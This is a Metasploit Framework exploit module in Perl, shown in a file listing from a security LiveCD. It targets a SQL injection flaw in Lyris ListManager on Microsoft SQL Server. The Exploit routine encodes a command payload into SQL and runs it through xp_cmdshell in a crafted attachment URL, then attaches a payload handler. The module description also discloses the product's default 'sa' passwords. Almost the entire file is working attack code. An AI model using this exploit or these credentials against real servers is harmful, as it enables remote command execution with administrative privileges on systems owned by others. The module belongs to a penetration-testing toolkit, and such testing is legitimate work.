home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / lyris_attachment_mssql.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  157 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::lyris_attachment_mssql;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.     'Name'  => 'Lyris ListManager Attachment SQL Injection (MSSQL)',
  20.     'Version'  => '$Revision: 1.3 $',
  21.     'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
  22.     'Arch'  => [ ],
  23.     'OS'    => [ 'win32' ],
  24.     'Priv'  => 1,
  25.     'UserOpts'  =>
  26.       {
  27.         'RHOST' => [1, 'ADDR', 'The target address'],
  28.         'RPORT' => [1, 'PORT', 'The target port', 80],
  29.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  30.       },
  31.  
  32.     'Payload' =>
  33.       {
  34.           'Space' => 1000,
  35.         'Keys'  => ['cmd'],
  36.       },
  37.  
  38.     'Description'  => Pex::Text::Freeform(qq{
  39.         This module exploits a SQL injection flaw in the Lyris ListManager
  40.     software for Microsoft SQL Server. This flaw allows for arbitrary commands
  41.     to be executed with administrative privileges by calling the xp_cmdshell
  42.     stored procedure. Additionally, a window of opportunity is opened during the
  43.     ListManager for MSDE install process; the 'sa' account is set to the password 'lminstall'
  44.     for a 5-10 minute period. After the installer finishes, the password is
  45.     permanently set to 'lyris' followed by the process ID of the installer (a 1-5 digit number).
  46. }),
  47.  
  48.     'Refs'  =>
  49.       [
  50.         ['URL',   'http://metasploit.com/research/vulns/lyris_listmanager/'],
  51.         ['OSVDB', '21548'],
  52.       ],
  53.       
  54.     'DefaultTarget' => 0,
  55.     'Targets' =>
  56.       [
  57.         ['No target needed.'],
  58.       ],
  59.  
  60.     'Keys' => ['lyris'],
  61.   };
  62.  
  63. sub new {
  64.     my $class = shift;
  65.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  66.     return($self);
  67. }
  68.  
  69. sub Check {
  70.     my $self = shift;
  71.     my $target_host = $self->GetVar('RHOST');
  72.     my $target_port = $self->GetVar('RPORT');
  73.  
  74.     my $s = Msf::Socket::Tcp->new
  75.       (
  76.         'PeerAddr'  => $target_host,
  77.         'PeerPort'  => $target_port,
  78.         'LocalPort' => $self->GetVar('CPORT'),
  79.         'SSL'       => $self->GetVar('SSL'),
  80.       );
  81.     if ($s->IsError) {
  82.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  83.         return $self->CheckCode('Connect');
  84.     }
  85.  
  86.     $s->Send("GET /read/attachment/' HTTP/1.1\r\nHost: $target_host:$target_port\r\n\r\n");
  87.  
  88.     my $r = $s->Recv(-1, 5);
  89.  
  90.     if ($r =~ /Unclosed quotation mark before/) {
  91.         $self->PrintLine("[*] Vulnerable installation detected ;)");
  92.         return $self->CheckCode('Detected');
  93.     }
  94.     
  95.     if ($r =~ /SQL error reported from Lyris/) {
  96.         $self->PrintLine("[*] Vulnerable installation, but not running MSSQL.");
  97.         return $self->CheckCode('Safe');
  98.     }
  99.     
  100.     if ($r =~ /ListManagerWeb.*Content-Length: 0/sm) {
  101.         $self->PrintLine("[*] This system appears to be patched");
  102.         return $self->CheckCode('Safe');    
  103.     }
  104.     
  105.     $self->PrintLine("[*] Unknown response, patched or invalid target.");
  106.     return $self->CheckCode('Safe');
  107. }
  108.  
  109. sub Exploit {
  110.     my $self = shift;
  111.     my $target_host = $self->GetVar('RHOST');
  112.     my $target_port = $self->GetVar('RPORT');
  113.     my $target_idx  = $self->GetVar('TARGET');
  114.  
  115.     my $cmd = $self->GetVar('EncodedPayload')->RawPayload;
  116.  
  117.     my $sql = 
  118.         'DECLARE @X NVARCHAR(4000);'.
  119.         'SET @X= ';
  120.  
  121.     foreach my $c (unpack('C*', $cmd)) {
  122.         $sql .= "CHAR($c) + ";
  123.     }
  124.     $sql .= "'\x20';";
  125.     $sql .= 'EXEC MASTER..XP_CMDSHELL @X';
  126.  
  127.     my $url = "/read/attachment/1;".Pex::Text::URLEncode($sql).";--";
  128.  
  129.  
  130.     my $request =
  131.       "GET $url HTTP/1.1\r\n".
  132.       "Host: $target_host:$target_port\r\n\r\n";
  133.  
  134.     my $s = Msf::Socket::Tcp->new
  135.       (
  136.         'PeerAddr'  => $target_host,
  137.         'PeerPort'  => $target_port,
  138.         'LocalPort' => $self->GetVar('CPORT'),
  139.         'SSL'       => $self->GetVar('SSL'),
  140.       );
  141.     if ($s->IsError) {
  142.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  143.         return;
  144.     }
  145.  
  146.     $self->PrintLine("[*] Sending " .length($request) . " bytes to remote host.");
  147.     $s->Send($request);
  148.  
  149.     $self->PrintLine("[*] Waiting for a response...");
  150.     $s->Recv(-1, 10);
  151.     $self->Handler($s);
  152.     $s->Close();
  153.     return;
  154. }
  155.  
  156. 1;
  157.